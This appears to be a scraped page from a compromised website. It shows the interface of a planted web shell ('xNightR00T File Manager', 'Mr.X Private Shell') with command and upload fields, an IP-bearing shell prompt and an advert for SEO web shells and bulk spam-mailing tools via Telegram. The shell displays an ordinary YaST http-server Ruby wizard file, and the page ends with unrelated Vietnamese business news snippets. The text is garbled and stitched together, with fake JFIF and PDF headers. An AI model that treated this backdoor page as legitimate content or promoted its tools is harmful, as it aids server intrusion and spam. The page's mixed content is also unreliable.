xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	include/http-server/wizards.ycp
# Package:	Configuration of http-server
# Summary:	Wizards definitions
# Authors:	Stanislav Visnovsky <visnov@suse.cz>
#
# $Id$
module Yast
  module HttpServerWizardsInclude
    def initialize_http_server_wizards(include_target)
      Yast.import "UI"

      textdomain "http-server"

      Yast.import "Label"
      Yast.import "Sequencer"
      Yast.import "Wizard"
      Yast.import "Directory"

      Yast.include include_target, "http-server/complex.rb"
      Yast.include include_target, "http-server/dialogs.rb"
      Yast.include include_target, "http-server/wizard-dialog.rb"
    end

    def VirtualHostSequence(action)
      aliases = {
        "host"     => lambda { HostDialog() },
        "addhost"  => lambda { AddHost() },
        "setvhost" => lambda { SetVHostOptions() },
        "ssl"      => lambda { SSLDialog() },
        "dir"      => lambda { DirDialog() }
      }

      _def = action == "add" ? "addhost" : "host"
      sequence = {
        "ws_start" => _def,
        "host"     => {
          :abort => :abort,
          :next  => :next,
          #"overview",
          :ssl   => "ssl",
          :dir   => "dir"
        },
        "addhost"  => { :abort => :abort, :next => "setvhost" },
        "setvhost" => {
          :abort => :abort,
          :next  => :next,
          #"overview",
          :back  => "addhost"
        },
        "ssl"      => { :abort => :abort, :next => "host", :back => "host" },
        "dir"      => { :abort => :abort, :next => "host", :back => "host" }
      }

      Sequencer.Run(aliases, sequence)
    end
    def MainSequence
      aliases = {
        "overview" => lambda { OverviewDialog() },
        "addhost"  => lambda { AddHost() },
        "setvhost" => lambda { SetVHostOptions() },
        "dir"      => lambda { DirDialog() },
        "add-vh"   => [lambda { VirtualHostSequence("add") }, true],
        "edit-vh"  => [lambda { VirtualHostSequence("edit") }, true]
      }

      sequence = {
        "ws_start" => "overview",
        "overview" => {
          :abort => :abort,
          :next  => :next,
          :dir   => "dir",
          :edit  => "edit-vh",
          :add   => "add-vh"
        },
        "add-vh" =>
          #`next
          { :abort => :abort, :next => "overview" },
        "edit-vh" =>
          #`next
          { :abort => :abort, :next => "overview" },
        "setvhost" => {
          :abort => :abort,
          :next  => "overview",
          :back  => "addhost"
        },
        "dir"      => {
          :abort => :abort,
          :next  => "overview",
          :back  => "overview"
        }
      }

      ret = Sequencer.Run(aliases, sequence)

      ret
    end

    # Sequences for wizard mode
    # @return sequence result

    def WizardSequence
      aliases = {
        "network-device" => lambda { WizardSequence1() },
        "modules"        => lambda { WizardSequence2() },
        "defhost"        => lambda { WizardSequence3() },
        "hosts"          => lambda { WizardSequence4() },
        "summary"        => lambda { WizardSequence5() },
        "addhost"        => lambda { AddHost() },
        "setvhost"       => lambda { SetVHostOptions() },
        "ssl"            => lambda { SSLDialog() },
        "dir"            => lambda { DirDialog() },
        "main"           => lambda { MainSequence() },
        "host"           => lambda { HostDialog() }
      }

      sequence = {
        "ws_start"       => "network-device",
        "network-device" => { :abort => :abort, :next => "modules" },
        "modules"        => { :abort => :abort, :next => "defhost" },
        "defhost"        => {
          :abort => :abort,
          :next  => "hosts",
          :ssl   => "ssl",
          :dir   => "dir"
        },
        "ssl"            => { :abort => :abort, :next => "defhost" },
        "dir"            => { :abort => :abort, :next => "defhost" },
        "hosts"          => {
          :abort => :abort,
          :next  => "summary",
          :add   => "addhost",
          :edit  => "host"
        },
        "addhost"        => {
          :abort => :abort,
          :next  => "setvhost",
          :back  => "hosts"
        },
        "setvhost"       => {
          :abort => :abort,
          :next  => "hosts",
          :back  => "addhost"
        },
        "summary"        => {
          :abort  => :abort,
          :next   => :next,
          :expert => "main"
        },
        "host"           => {
          :abort => :abort,
          :ssl   => "ssl",
          :next  => "hosts",
          :dir   => "dir"
        },
        "main"           => { :abort => :abort, :next => :next }
      }

      ret = Sequencer.Run(aliases, sequence)
      ret
    end

    # Sequences for whole server
    # @return [Boolean] correct finish
    def HttpServerSequence
      aliases = {
        "read"   => [lambda { ReadDialog() }, true],
        "main"   => lambda { MainSequence() },
        "wizard" => lambda { WizardSequence() },
        "write"  => [lambda { WriteDialog() }, true]
      }

      sequence = {
        "ws_start" => "read",
        "read"     => { :abort => :abort, :next => "main" },
        "main"     => { :abort => :abort, :next => "write" },
        "wizard"   => { :abort => :abort, :next => "write" },
        "write"    => { :abort => :abort, :next => :next }
      }

      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("http-server")

      w_mode = HttpServer.isWizardMode
      Ops.set(sequence, ["read", :next], "wizard") if w_mode

      ret = Sequencer.Run(aliases, sequence)
      HttpServer.setWizardMode(false) if w_mode

      UI.CloseDialog
      ret == :next
    end

    # Whole configuration of http-server but without reading and writing.
    # For use with autoinstallation.
    # @return sequence result
    def HttpServerAutoSequence
      # translators: initialization dialog caption
      caption = _("HTTP Server Configuration")
      # translators: initialization dialog message
      contents = Label(_("Initializing ..."))

      Wizard.CreateDialog
      Wizard.SetDesktopTitleAndIcon("http-server")
      Wizard.SetContentsButtons(
        caption,
        contents,
        "",
        Label.BackButton,
        Label.NextButton
      )

      ret = MainSequence()

      UI.CloseDialog
      ret
    end
  end
end

Filemanager

Name Type Size Permission Actions
complex.rb File 1.47 KB 0644
dialogs.rb File 9.87 KB 0644
helps.rb File 11.67 KB 0644
routines.rb File 2.24 KB 0644
wizard-dialog.rb File 9.64 KB 0644
wizards.rb File 6.26 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
admin f – Page 2 – Seiko Business Matching
December 29, 2023
SK Investment Vina III Pte. Ltd (SK Vina III), a subsidiary of South Korea’s third-largest conglomerate SK Group, aims to hold a 65 per cent stake in […]
December 29, 2023
Vietnam continues to shine as an attractive business destination with foreign direct investment (FDI) surging in 2023. According to data by the Foreign Investment Agency (FIA) […]
December 26, 2023
Japan will continue providing more of its official development assistance to Vietnam in a series of sectors, especially in infrastructure projects. Japanese Prime Minister Kishida Fumio […]
December 19, 2023
Bình Minh Proposal made at meeting between Prime Minister Pham Minh Chinh and JICA President Tanaka Akihiko in Tokyo on December 18. During his meeting with […]